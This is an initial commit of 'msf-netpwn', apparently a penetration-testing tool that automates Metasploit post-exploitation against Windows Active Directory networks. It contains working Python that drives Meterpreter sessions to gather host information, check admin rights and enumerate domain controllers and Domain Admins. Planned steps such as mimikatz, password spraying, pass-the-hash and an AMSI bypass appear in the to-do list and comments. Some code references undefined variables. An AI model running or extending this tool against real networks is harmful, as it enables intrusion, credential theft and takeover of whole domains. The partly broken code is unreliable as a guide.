intial

LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2018 Dan McInerney
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

Pipfile

@@ -0,0 +1,18 @@
+[[source]]
+url = "https://pypi.python.org/simple"
+verify_ssl = true
+name = "pypi"
+
+[dev-packages]
+
+[packages]
+ipython = "*"
+netaddr = "*"
+termcolor = "*"
+netifaces = "*"
+requests = "*"
+msgpack = "*"
+asyncio = "*"
+
+[requires]
+python_version = "3.6"

README.md

@@ -0,0 +1,30 @@
+msf-netpwn
+------
+PROJECT IN PROGRESS. Waits for a Metasploit shell on an Active Directory environment then automatically privilege escalates to domain admin.
+
+#### Installation
+This install is only tested on Kali. Clone into the repo, enter the cloned folder and run install.sh. Open a new terminal and start metasploit with the included rc file. Back in the original terminal continue by entering the newly-created virtual environment with pipenv. Finally, enter the included msfrpc/ folder and install it now that you're inside the virtual environment.
+
+```
+git clone https://github.com/DanMcInerney/msf-autopwn
+cd msf-autopwn
+In a new terminal: msfconsole -r msfrpc.rc
+pipenv install --three
+pipenv shell
+cd msfrpc && python2 setup install && cd ..
+```
+
+#### Usage
+```./msf-netpwn.py ```
+
+#### Current progress
+Async is working and error handling for when sessions die unexepectedly is in place. I think the error handling should probably be DRY'd out. But right now the script will start, wait for a session to be found, do recon on that session and if that session is domain-joined, it'll do domain recon like getting domain controllers and domain admins. 
+
+#### To do
+* domain privesc
+** ms14-068? that might be hard to implement
+** GPP
+* mimikatz boxes with admin shells
+* basic privesc if user is not admin
+* get spreading function working (include AMSI bypass)
+* Long-term: incorporate BloodHound graph CSV ingestion for more efficient attack pathing

async-meterpreter-controller.py

@@ -0,0 +1,539 @@
+#!/usr/bin/env python3
+
+import re
+import os
+import sys
+import time
+import signal
+import msfrpc
+import asyncio
+import argparse
+import netifaces
+from IPython import embed
+from termcolor import colored
+from netaddr import IPNetwork, AddrFormatError
+from subprocess import Popen, PIPE, CalledProcessError
+
+NEW_SESS_DATA = {}
+DOMAIN_DATA = {'domain':None, 'domain_admins':[], 'domain_controllers':[], 'high_priority_ips':[], 'error':None}
+
+def parse_args():
+    # Create the arguments
+    parser = argparse.ArgumentParser()
+    parser.add_argument("-l", "--hostlist", help="Host list file")
+    parser.add_argument("-p", "--password", default='123', help="Password for msfrpc")
+    parser.add_argument("-u", "--username", default='msf', help="Username for msfrpc")
+    return parser.parse_args()
+
+# Colored terminal output
+def print_bad(msg, sess_num):
+    if sess_num:
+        print(colored('[-] ', 'red') + 'Session {} '.format(str(sess_num)).ljust(12)+'- '+msg)
+    else:
+        print(colored('[-] ', 'red') + msg)
+
+def print_info(msg, sess_num):
+    if sess_num:
+        print(colored('[*] ', 'blue') + 'Session {} '.format(str(sess_num)).ljust(12)+'- '+msg)
+    else:
+        print(colored('[*] ', 'blue') + msg)
+
+def print_good(msg, sess_num):
+    if sess_num:
+        print(colored('[+] ', 'green') + 'Session {} '.format(str(sess_num)).ljust(12)+'- '+msg)
+    else:
+        print(colored('[+] ', 'green') + msg)
+
+def print_great(msg, sess_num):
+    if sess_num:
+        print(colored('[*] ', 'yellow', attrs=['bold']) + 'Session {} '.format(str(sess_num)).ljust(12)+'- '+msg)
+    else:
+        print(colored('[!] ', 'yellow') + msg)
+
+def kill_tasks():
+    print()
+    print_info('Killing tasks then exiting...', None)
+    for task in asyncio.Task.all_tasks():
+        task.cancel()
+
+def get_iface():
+    '''
+    Gets the right interface for Responder
+    '''
+    try:
+        iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
+    except:
+        ifaces = []
+        for iface in netifaces.interfaces():
+            # list of ipv4 addrinfo dicts
+            ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])
+
+            for entry in ipv4s:
+                addr = entry.get('addr')
+                if not addr:
+                    continue
+                if not (iface.startswith('lo') or addr.startswith('127.')):
+                    ifaces.append(iface)
+
+        iface = ifaces[0]
+
+    return iface
+
+def get_local_ip(iface):
+    '''
+    Gets the the local IP of an interface
+    '''
+    ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
+    return ip
+
+async def get_shell_info(client, sess_num):
+    sysinfo_cmd = 'sysinfo'
+    sysinfo_end_str = b'Meterpreter     : '
+
+    sysinfo_output = await run_session_cmd(client, sess_num, sysinfo_cmd, sysinfo_end_str)
+    # Catch error
+    if type(sysinfo_output) == str:
+        return sysinfo_output
+
+    else:
+        sysinfo_utf8_out = sysinfo_output.decode('utf8')
+        sysinfo_split = sysinfo_utf8_out.splitlines()
+
+    getuid_cmd = 'getuid'
+    getuid_end_str = b'Server username:'
+
+    getuid_output = await run_session_cmd(client, sess_num, getuid_cmd, getuid_end_str)
+    # Catch error
+    if type(getuid_output) == str:
+        return getuid_output
+    else:
+        getuid_utf8_out = getuid_output.decode('utf8')
+        getuid = 'User            : '+getuid_utf8_out.split('Server username: ')[-1].strip().strip()
+
+    # We won't get here unless there's no errors
+    shell_info_list = [getuid] + sysinfo_split
+
+    return shell_info_list
+
+def get_domain(shell_info):
+    for l in shell_info:
+        l_split = l.split(':')
+        if 'Domain      ' in l_split[0]:
+            if 'WORKGROUP' in l_split[1]:
+                return
+            else:
+                domain = l_split[-1].strip()
+                return domain
+
+def is_domain_joined(user_info, domain):
+    info_split = user_info.split(':')
+    dom_and_user = info_split[1].strip()
+    dom_and_user_split = dom_and_user.split('\\')
+    dom = dom_and_user_split[0]
+    user = dom_and_user_split[1]
+
+    if domain:
+        if dom.lower() in domain.lower():
+            return True
+
+    return False
+
+def print_shell_data(shell_info, admin_shell, local_admin, sess_num_str):
+    print_info('New shell info', None)
+    for l in shell_info:
+        print('        '+l)
+    msg =  '''        Admin shell     : {}
+        Local admin     : {}
+        Session number  : {}'''.format( 
+                              admin_shell.decode('utf8'), 
+                              local_admin.decode('utf8'),
+                              sess_num_str)
+    print(msg)
+
+async def check_domain_joined(client, sess_num, shell_info):
+    global NEW_SESS_DATA
+
+    # returns either a string of the domain name or False
+    domain = get_domain(shell_info)
+    if domain:
+        NEW_SESS_DATA[sess_num][b'domain'] = domain.encode()
+
+    domain_joined = is_domain_joined(shell_info[0], domain)
+    if domain_joined == True:
+        NEW_SESS_DATA[sess_num][b'domain_joined'] = b'True'
+    else:
+        NEW_SESS_DATA[sess_num][b'domain_joined'] = b'False'
+
+async def sess_first_check(client, sess_num):
+    global NEW_SESS_DATA
+
+    if b'first_check' not in NEW_SESS_DATA[sess_num]:
+        print_good('Gathering shell info...', sess_num)
+
+        # Give meterpeter chance to open
+        await asyncio.sleep(2)
+
+        sess_num_str = str(sess_num)
+        NEW_SESS_DATA[sess_num][b'first_check'] = b'False'
+        NEW_SESS_DATA[sess_num][b'busy'] = b'False'
+        NEW_SESS_DATA[sess_num][b'session_number'] = sess_num_str.encode()
+
+        shell_info = await get_shell_info(client, sess_num)
+        # Catch errors
+        if type(shell_info) == str:
+            NEW_SESS_DATA[sess_num][b'error'] = shell_info.encode()
+            return
+
+        # Check if we're domain joined
+        await check_domain_joined(client, sess_num, shell_info)
+
+        admin_shell, local_admin = await is_admin(client, sess_num)
+        # Catch errors
+        if type(admin_shell) == str:
+            NEW_SESS_DATA[sess_num][b'error'] = admin_shell.encode()
+            return
+
+        NEW_SESS_DATA[sess_num][b'admin_shell'] = admin_shell
+        NEW_SESS_DATA[sess_num][b'local_admin'] = local_admin
+
+        print_shell_data(shell_info, admin_shell, local_admin, sess_num_str)
+
+        # Update DOMAIN_DATA for domain admins and domain controllers
+        await get_domain_data(client, sess_num)
+
+async def is_admin(client, sess_num):
+    cmd = 'run post/windows/gather/win_privs'
+
+    output = await run_session_cmd(client, sess_num, cmd, None)
+    # Catch error
+    if type(output) == str:
+        return (output, None)
+
+    if output:
+        split_out = output.decode('utf8').splitlines()
+        user_info_list = split_out[5].split()
+        admin_shell = user_info_list[0]
+        system = user_info_list[1]
+        local_admin = user_info_list[2]
+        user = user_info_list[5]
+
+        # Byte string
+        return (str(admin_shell).encode(), str(local_admin).encode())
+
+    else:
+        return (b'ERROR', b'ERROR')
+
+async def get_domain_controllers(client, sess_num):
+    global DOMAIN_DATA
+
+    print_info('Getting domain controller...', sess_num)
+    cmd = 'run post/windows/gather/enum_domains'
+    end_str = b'[+] Domain Controller:'
+
+    output = await run_session_cmd(client, sess_num, cmd, end_str)
+    # Catch timeout
+    if type(output) == str:
+        DOMAIN_DATA['error'].append(sess_num)
+
+    output = output.decode('utf8')
+    if 'Domain Controller: ' in output:
+        dc = output.split('Domain Controller: ')[-1].strip()
+        if dc not in DOMAIN_DATA['domain_controllers']:
+            DOMAIN_DATA['domain_controllers'].append(dc)
+            print_good('Domain controller: '+dc, sess_num)
+
+async def get_domain_admins(client, sess_num, ran_once):
+    global DOMAIN_DATA
+
+    print_info('Getting domain admins...', sess_num)
+    cmd = 'run post/windows/gather/enum_domain_group_users GROUP="Domain Admins"'
+    end_str = b'[+] User list'
+
+    output = await run_session_cmd(client, sess_num, cmd, end_str)
+    # Catch timeout
+    if type(output) == str:
+        DOMAIN_DATA['error'].append(sess_num)
+        return
+
+    output = output.decode('utf8')
+    da_line_start = '[*] \t'
+
+    if da_line_start in output:
+        split_output = output.splitlines()
+
+        domain_admins = []
+        for l in split_output:
+            if l.startswith(da_line_start):
+                domain_admin = l.split(da_line_start)[-1].strip()
+                domain_admins.append(domain_admin)
+
+        for x in domain_admins:
+            if x not in DOMAIN_DATA['domain_admins']:
+                print_good('Domain admin: '+x, sess_num)
+                DOMAIN_DATA['domain_admins'].append(x)
+
+    # If we don't get any DAs from the shell we try one more time
+    else:
+        if ran_once:
+            print_bad('No domain admins found', sess_num)
+        else:
+            print_bad('No domain admins found, trying one more time', sess_num)
+            await get_domain_admins(client, sess_num, True)
+
+async def get_domain_data(client, sess_num):
+    ''' Callback for after we gather all the initial shell data '''
+    global DOMAIN_DATA
+
+    # Update domain data
+    if b'domain' in NEW_SESS_DATA[sess_num]:
+        DOMAIN_DATA['domain'] = NEW_SESS_DATA[sess_num][b'domain']
+
+    # If no domain admin list found yet then find them
+    if NEW_SESS_DATA[sess_num][b'domain_joined'] == b'True':
+        if len(DOMAIN_DATA['domain_admins']) == 0:
+            await get_domain_admins(client, sess_num, False)
+        if len(DOMAIN_DATA['domain_controllers']) == 0:
+            await get_domain_controllers(client, sess_num)
+
+def update_session(session, sess_num):
+    global NEW_SESS_DATA
+
+    if sess_num in NEW_SESS_DATA:
+        # Update session with the new key:value's in NEW_SESS_DATA
+        # This will not change any of the MSF session data, just add new key:value pairs
+        NEW_SESS_DATA[sess_num] = add_session_keys(session)
+    else:
+        NEW_SESS_DATA[sess_num] = session
+
+async def gather_passwords(client, sess_num):
+    #mimikatz
+    #mimikittenz
+    #hashdump
+    pass
+
+async def attack(client, sess_num):
+
+    # Make sure it got the admin_shell info added
+    #if b'admin_shell' in NEW_SESS_DATA[sess_num]:
+
+    # Is admin
+    if NEW_SESS_DATA[sess_num][b'admin_shell'] == b'True':
+        # mimikatz, spray, PTH RID 500 
+        await gather_passwords(client, sess_num)
+
+    elif NEW_SESS_DATA[sess_num][b'admin_shell'] == b'False':
+        if NEW_SESS_DATA[sess_num][b'local_admin'] == b'True':
+            # Getsystem > mimikatz, spray, PTH rid 500
+            pass
+        if NEW_SESS_DATA[sess_num][b'local_admin'] == b'False':
+            # Give up
+            pass
+
+    # START ATTACKING! FINALLY!
+    # not domain joined and not admin
+        # fuck it?
+    # not domain joined but admin
+        # mimikatz
+    # domain joined and not admin
+        # GPP privesc
+        # Check for seimpersonate
+        # Check for dcsync
+        # userhunter
+        # spray and pray
+    # domain joined and admin
+        # GPP
+        # userhunter
+        # spray and pray
+
+
+async def attack_with_session(client, session, sess_num):
+    ''' Attacks with a session '''
+    update_session(session, sess_num)
+
+    # Get and print session info if first time we've checked the session
+    #asyncio.ensure_future(sess_first_check(client, sess_num))
+    task = await sess_first_check(client, sess_num)
+    if task:
+        await asyncio.wait(task)
+
+    if is_session_broken(sess_num) == False:
+        await attack(client, sess_num)
+
+def get_output(client, cmd, sess_num):
+    output = client.call('session.meterpreter_read', [str(sess_num)])
+
+    # Everythings fine
+    if b'data' in output:
+        return output[b'data']
+
+    # Got an error from the client.call
+    elif b'error_message' in output:
+        decoded_err = output[b'error_message'].decode('utf8')
+        print_bad(error_msg.format(sess_num_str, decoded_err), sess_num)
+        return decoded_err
+
+    # Some other error catchall
+    else:
+        return cmd
+
+def get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs):
+    script_errors = [b'[-] post failed', 
+                     b'error in script', 
+                     b'operation failed', 
+                     b'unknown command', 
+                     b'operation timed out']
+
+    # Got an error from output
+    if any(x in output.lower() for x in script_errors):
+        print_bad('Command [{}] failed with error: {}'.format(cmd, output.decode('utf8').strip()), sess_num)
+        return cmd, counter
+
+    # If no terminating string specified just wait til timeout
+    if output == b'':
+        counter += sleep_secs
+        if counter > timeout:
+            print_bad('Command [{}] timed out'.format(cmd), sess_num)
+            return 'timed out', counter
+
+    # No output but we haven't reached timeout yet
+    return output, counter
+
+async def run_session_cmd(client, sess_num, cmd, end_str, timeout=30):
+    ''' Will only return a str if we failed to run a cmd'''
+    global NEW_SESS_DATA
+
+    error_msg = 'Error in session {}: {}'
+    sess_num_str = str(sess_num)
+
+    print_info('Running [{}]'.format(cmd), sess_num)
+
+    while NEW_SESS_DATA[sess_num][b'busy'] == b'True':
+        await asyncio.sleep(1)
+
+    NEW_SESS_DATA[sess_num][b'busy'] = b'True'
+
+    res = client.call('session.meterpreter_run_single', [str(sess_num), cmd])
+
+    if b'error_message' in res:
+        err_msg = res[b'error_message'].decode('utf8')
+        print_bad(error_msg.format(sess_num_str, err_msg), sess_num)
+        return err_msg
+
+    elif res[b'result'] == b'success':
+
+        counter = 0
+        sleep_secs = 0.5
+
+        try:
+            while True:
+                await asyncio.sleep(sleep_secs)
+
+                output = get_output(client, cmd, sess_num)
+                # Error from meterpreter console
+                if type(output) == str:
+                    NEW_SESS_DATA[sess_num][b'busy'] = b'False'
+                    return output
+
+                # Successfully completed
+                if end_str:
+                    if end_str in output:
+                        NEW_SESS_DATA[sess_num][b'busy'] = b'False'
+                        return output
+                # If no end_str specified just return once we have any data
+                else:
+                    if len(output) > 0:
+                        NEW_SESS_DATA[sess_num][b'busy'] = b'False'
+                        return output
+
+                # Check for errors from cmd's output
+                output, counter = get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs)
+                # Error from cmd output including timeout
+                if type(output) == str:
+                    NEW_SESS_DATA[sess_num][b'busy'] = b'False'
+                    return output
+
+        # This usually occurs when the session suddenly dies or user quits it
+        except Exception as e:
+            err = 'exception below likely due to abrupt death of session'
+            print_bad(error_msg.format(sess_num_str, err), sess_num)
+            print_bad('    '+str(e), None)
+            NEW_SESS_DATA[sess_num][b'busy'] = b'False'
+            return err
+
+    # b'result' not in res, b'error_message' not in res, just catch everything else as an error
+    else:
+        print_bad(res[b'result'].decode('utf8'), sess_num)
+        NEW_SESS_DATA[sess_num][b'busy'] = b'True'
+        return cmd
+    
+def get_perm_token(client):
+    # Authenticate and grab a permanent token
+    client.login(args.username, args.password)
+    client.call('auth.token_add', ['123'])
+    client.token = '123'
+    return client
+
+def is_session_broken(sess_num):
+    ''' We remove 2 kinds of errored sessions: 1) timed out on sysinfo 2) shell died abruptly '''
+    global NEW_SESS_DATA
+
+    if b'error' in NEW_SESS_DATA[sess_num]:
+        # Session timed out on initial sysinfo cmd
+        if b'domain' not in NEW_SESS_DATA:
+            return True
+        # Session abruptly died
+        elif NEW_SESS_DATA[s][b'error'] == b'exception below likely due to abrupt death of session':
+            return True
+        # Session timed out
+        elif 'Rex::TimeoutError' in NEW_SESS_DATA[s][b'error']:
+            return True
+
+    return False
+
+def add_session_keys(session, sess_num):
+    for k in NEW_SESS_DATA[s]:
+        if k not in session:
+            session[k] = NEW_SESS_DATA[sess_num].get(k)
+
+    return session
+
+async def check_for_sessions(client, loop):
+    global NEW_SESS_DATA
+
+    print_info('Waiting for Meterpreter shell', None)
+
+    while True:
+
+        # Get list of MSF sessions from RPC server
+        sessions = client.call('session.list')
+
+        for s in sessions:
+
+            # Do stuff with session
+            if s not in NEW_SESS_DATA:
+                asyncio.ensure_future(attack_with_session(client, sessions[s], s))
+
+        await asyncio.sleep(1)
+
+def main(args):
+
+    client = msfrpc.Msfrpc({})
+    client = get_perm_token(client)
+
+    loop = asyncio.get_event_loop()
+    loop.add_signal_handler(signal.SIGINT, kill_tasks)
+    task = check_for_sessions(client, loop)
+    try:
+        loop.run_until_complete(task)
+    except asyncio.CancelledError:
+        print_info('Tasks gracefully downed a cyanide pill before defecating themselves and collapsing in a twitchy pile', None)
+    finally:
+        loop.close()
+
+if __name__ == "__main__":
+    args = parse_args()
+    if os.geteuid():
+        print_bad('Run as root', None)
+        sys.exit()
+    main(args)
+

msfrpc.rc

@@ -0,0 +1 @@
+load msgrpc Pass=123

msfrpc/LICENSE.txt

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
